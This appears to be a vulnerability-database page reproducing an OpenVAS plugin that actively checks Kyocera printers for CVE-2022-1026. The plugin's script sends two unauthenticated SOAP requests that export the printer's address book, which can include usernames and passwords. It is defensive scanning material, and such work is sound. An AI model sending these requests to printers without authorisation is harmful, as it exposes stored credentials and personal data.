Lucene search

K
openvasCopyright (C) 2022 Greenbone AGOPENVAS:1361412562310147937
HistoryApr 07, 2022 - 12:00 a.m.

Kyocera Printer Information Disclosure Vulnerability (Mar 2022) - Active Check

2022-04-0700:00:00
Copyright (C) 2022 Greenbone AG
plugins.openvas.org
2

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

8.5 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.01 Low

EPSS

Percentile

83.6%

Kyocera printers are prone to an information disclosure
vulnerability.

# SPDX-FileCopyrightText: 2022 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.147937");
  script_version("2023-04-14T10:19:17+0000");
  script_tag(name:"last_modification", value:"2023-04-14 10:19:17 +0000 (Fri, 14 Apr 2023)");
  script_tag(name:"creation_date", value:"2022-04-07 01:46:28 +0000 (Thu, 07 Apr 2022)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2022-04-12 17:20:00 +0000 (Tue, 12 Apr 2022)");

  script_cve_id("CVE-2022-1026");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Kyocera Printer Information Disclosure Vulnerability (Mar 2022) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2022 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_kyocera_printer_consolidation.nasl");
  script_require_ports("Services/www", 9090);
  script_mandatory_keys("kyocera/printer/detected");

  script_tag(name:"summary", value:"Kyocera printers are prone to an information disclosure
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends multiple HTTP POST requests and checks the responses.");

  script_tag(name:"insight", value:"Kyocera multifunction printers running vulnerable versions of
  Net View unintentionally expose sensitive user information, including usernames and passwords,
  through an insufficiently protected address book export function.");

  script_tag(name:"affected", value:"Various Kyocera printer models.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/");
  script_xref(name:"URL", value:"https://www.kyoceradocumentsolutions.com/en/our-business/security/information/2022-04-04.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 9090);

banner = http_get_remote_headers(port: port);

if (!egrep(pattern: "^[Ss]erver\s*:\s*gSOAP/", string: banner, icase: FALSE))
  exit(0);

url = "/ws/km-wsdl/setting/address_book";

headers = make_array("Content-Type", "application/soap+xml");

data = '<?xml version="1.0" encoding="utf-8"?>' +
       '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" ' +
       'xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" ' +
       'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' +
       'xmlns:xsd="http://www.w3.org/2001/XMLSchema" ' +
       'xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" ' +
       'xmlns:xop="http://www.w3.org/2004/08/xop/include" ' +
       'xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book">' +
       '<SOAP-ENV:Header>' +
       '<wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action>' +
       '</SOAP-ENV:Header>' +
       '<SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest>' +
       '<ns1:number>25</ns1:number>' +
       '</ns1:create_personal_address_enumerationRequest>' +
       '</SOAP-ENV:Body>' +
       '</SOAP-ENV:Envelope>';

req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
if (res !~ "^HTTP/1\.[01] 200" || "<kmaddrbook:result>SUCCESS<" >!< res)
  exit(0);

num = eregmatch(pattern: "<kmaddrbook:enumeration>([0-9]+)<", string: res);
if (isnull(num[1]))
  exit(0);

sleep(5); # wait for address book gets populated

data = '<?xml version="1.0" encoding="utf-8"?>' +
       '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" ' +
       'xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding" ' +
       'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' +
       'xmlns:xsd="http://www.w3.org/2001/XMLSchema" ' +
       'xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" ' +
       'xmlns:xop="http://www.w3.org/2004/08/xop/include" ' +
       'xmlns:ns1="http://www.kyoceramita.com/ws/km-wsdl/setting/address_book">' +
       '<SOAP-ENV:Header>' +
       '<wsa:Action SOAP-ENV:mustUnderstand="true">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list</wsa:Action>' +
       '</SOAP-ENV:Header>' +
       '<SOAP-ENV:Body><ns1:get_personal_address_listRequest>' +
       '<ns1:enumeration>' + num[1] + '</ns1:enumeration>' +
       '</ns1:get_personal_address_listRequest>' +
       '</SOAP-ENV:Body>' +
       '</SOAP-ENV:Envelope>';

req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

if ("<kmaddrbook:id>" >< res && "<kmaddrbook:address>" >< res) {
  info['HTTP Method'] = "POST";
  info['Affected URL'] = http_report_vuln_url(port: port, url: url, url_only: TRUE);
  info['HTTP "POST" body'] = data;
  info['HTTP "Content-Type" header'] = headers["Content-Type"];

  report  = 'By doing the following HTTP request:\n\n';
  report += text_format_table(array: info) + '\n\n';
  report += 'it was possible to get the exported address book which might include sensitive information.';
  report += '\n\nResult:\n\n' + res;
  expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
  security_message(port: port, data: report, expert_info: expert_info);
  exit(0);
}

exit(99);

8.6 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

8.5 High

AI Score

Confidence

High

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.01 Low

EPSS

Percentile

83.6%

Related for OPENVAS:1361412562310147937